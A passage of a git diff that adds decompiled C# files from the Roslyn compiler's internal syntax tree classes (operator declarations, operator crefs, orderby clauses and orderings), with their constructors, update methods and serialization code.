Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OperatorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax returnType; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken operatorKeyword; + + internal readonly SyntaxToken? checkedKeyword; + + internal readonly SyntaxToken operatorToken; + + internal readonly ParameterListSyntax parameterList; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public TypeSyntax ReturnType => returnType; + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken OperatorKeyword => operatorKeyword; + + public SyntaxToken? CheckedKeyword => checkedKeyword; + + public SyntaxToken OperatorToken => operatorToken; + + public override ParameterListSyntax ParameterList => parameterList; + + public override BlockSyntax? Body => body; + + public override ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal OperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal OperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal OperatorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => returnType, + 3 => explicitInterfaceSpecifier, + 4 => operatorKeyword, + 5 => checkedKeyword, + 6 => operatorToken, + 7 => parameterList, + 8 => body, + 9 => expressionBody, + 10 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOperatorDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOperatorDeclaration(this); + } + + public OperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || operatorToken != OperatorToken || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + OperatorDeclarationSyntax operatorDeclarationSyntax = SyntaxFactory.OperatorDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + operatorDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(operatorDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + operatorDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(operatorDeclarationSyntax, (IEnumerable)annotations); + } + return operatorDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OperatorDeclarationSyntax(base.Kind, attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OperatorDeclarationSyntax(base.Kind, attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OperatorDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 11; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + returnType = typeSyntax; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + checkedKeyword = syntaxToken2; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + operatorToken = syntaxToken3; + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + semicolonToken = syntaxToken4; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)returnType); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)operatorKeyword); + writer.WriteValue((IObjectWritable)(object)checkedKeyword); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static OperatorDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OperatorDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OperatorDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorMemberCrefSyntax.cs new file mode 100644 index 0000000..27d1d19 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OperatorMemberCrefSyntax.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OperatorMemberCrefSyntax : MemberCrefSyntax +{ + internal readonly SyntaxToken operatorKeyword; + + internal readonly SyntaxToken? checkedKeyword; + + internal readonly SyntaxToken operatorToken; + + internal readonly CrefParameterListSyntax? parameters; + + public SyntaxToken OperatorKeyword => operatorKeyword; + + public SyntaxToken? CheckedKeyword => checkedKeyword; + + public SyntaxToken OperatorToken => operatorToken; + + public CrefParameterListSyntax? Parameters => parameters; + + internal OperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal OperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal OperatorMemberCrefSyntax(SyntaxKind kind, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorKeyword); + this.operatorKeyword = operatorKeyword; + if (checkedKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checkedKeyword); + this.checkedKeyword = checkedKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorKeyword, + 1 => checkedKeyword, + 2 => operatorToken, + 3 => parameters, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOperatorMemberCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOperatorMemberCref(this); + } + + public OperatorMemberCrefSyntax Update(SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax parameters) + { + if (operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || operatorToken != OperatorToken || parameters != Parameters) + { + OperatorMemberCrefSyntax operatorMemberCrefSyntax = SyntaxFactory.OperatorMemberCref(operatorKeyword, checkedKeyword, operatorToken, parameters); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + operatorMemberCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(operatorMemberCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + operatorMemberCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(operatorMemberCrefSyntax, (IEnumerable)annotations); + } + return operatorMemberCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OperatorMemberCrefSyntax(base.Kind, operatorKeyword, checkedKeyword, operatorToken, parameters, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OperatorMemberCrefSyntax(base.Kind, operatorKeyword, checkedKeyword, operatorToken, parameters, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OperatorMemberCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + checkedKeyword = syntaxToken2; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + operatorToken = syntaxToken3; + CrefParameterListSyntax crefParameterListSyntax = (CrefParameterListSyntax)reader.ReadValue(); + if (crefParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)crefParameterListSyntax); + parameters = crefParameterListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorKeyword); + writer.WriteValue((IObjectWritable)(object)checkedKeyword); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)parameters); + } + + static OperatorMemberCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OperatorMemberCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OperatorMemberCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderByClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderByClauseSyntax.cs new file mode 100644 index 0000000..d750bdb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderByClauseSyntax.cs @@ -0,0 +1,148 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OrderByClauseSyntax : QueryClauseSyntax +{ + internal readonly SyntaxToken orderByKeyword; + + internal readonly GreenNode? orderings; + + public SyntaxToken OrderByKeyword => orderByKeyword; + + public SeparatedSyntaxList Orderings => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(orderings))); + + internal OrderByClauseSyntax(SyntaxKind kind, SyntaxToken orderByKeyword, GreenNode? orderings, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)orderByKeyword); + this.orderByKeyword = orderByKeyword; + if (orderings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(orderings); + this.orderings = orderings; + } + } + + internal OrderByClauseSyntax(SyntaxKind kind, SyntaxToken orderByKeyword, GreenNode? orderings, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)orderByKeyword); + this.orderByKeyword = orderByKeyword; + if (orderings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(orderings); + this.orderings = orderings; + } + } + + internal OrderByClauseSyntax(SyntaxKind kind, SyntaxToken orderByKeyword, GreenNode? orderings) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)orderByKeyword); + this.orderByKeyword = orderByKeyword; + if (orderings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(orderings); + this.orderings = orderings; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => orderByKeyword, + 1 => orderings, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OrderByClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOrderByClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOrderByClause(this); + } + + public OrderByClauseSyntax Update(SyntaxToken orderByKeyword, SeparatedSyntaxList orderings) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (orderByKeyword == OrderByKeyword) + { + SeparatedSyntaxList val = Orderings; + if (!((ref orderings) != (ref val))) + { + return this; + } + } + OrderByClauseSyntax orderByClauseSyntax = SyntaxFactory.OrderByClause(orderByKeyword, orderings); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + orderByClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(orderByClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + orderByClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(orderByClauseSyntax, (IEnumerable)annotations); + } + return orderByClauseSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OrderByClauseSyntax(base.Kind, orderByKeyword, orderings, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OrderByClauseSyntax(base.Kind, orderByKeyword, orderings, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OrderByClauseSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + orderByKeyword = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + orderings = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)orderByKeyword); + writer.WriteValue((IObjectWritable)(object)orderings); + } + + static OrderByClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OrderByClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OrderByClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderingSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderingSyntax.cs new file mode 100644 index 0000000..6788304 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/OrderingSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class OrderingSyntax : CSharpSyntaxNode +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken? ascendingOrDescendingKeyword; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken? AscendingOrDescendingKeyword => ascendingOrDescendingKeyword; + + internal OrderingSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken? ascendingOrDescendingKeyword, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (ascendingOrDescendingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ascendingOrDescendingKeyword); + this.ascendingOrDescendingKeyword = ascendingOrDescendingKeyword; + } + } + + internal OrderingSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken? ascendingOrDescendingKeyword, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (ascendingOrDescendingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ascendingOrDescendingKeyword); + this.ascendingOrDescendingKeyword = ascendingOrDescendingKeyword; + } + } + + internal OrderingSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken? ascendingOrDescendingKeyword) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (ascendingOrDescendingKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)ascendingOrDescendingKeyword); + this.ascendingOrDescendingKeyword = ascendingOrDescendingKeyword; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => ascendingOrDescendingKeyword, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.OrderingSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOrdering(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOrdering(this); + } + + public OrderingSyntax Update(ExpressionSyntax expression, SyntaxToken ascendingOrDescendingKeyword) + { + if (expression != Expression || ascendingOrDescendingKeyword != AscendingOrDescendingKeyword) + { + OrderingSyntax orderingSyntax = SyntaxFactory.Ordering(base.Kind, expression, ascendingOrDescendingKeyword); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + orderingSyntax = GreenNodeExtensions.WithDiagnosticsGreen(orderingSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + orderingSyntax = 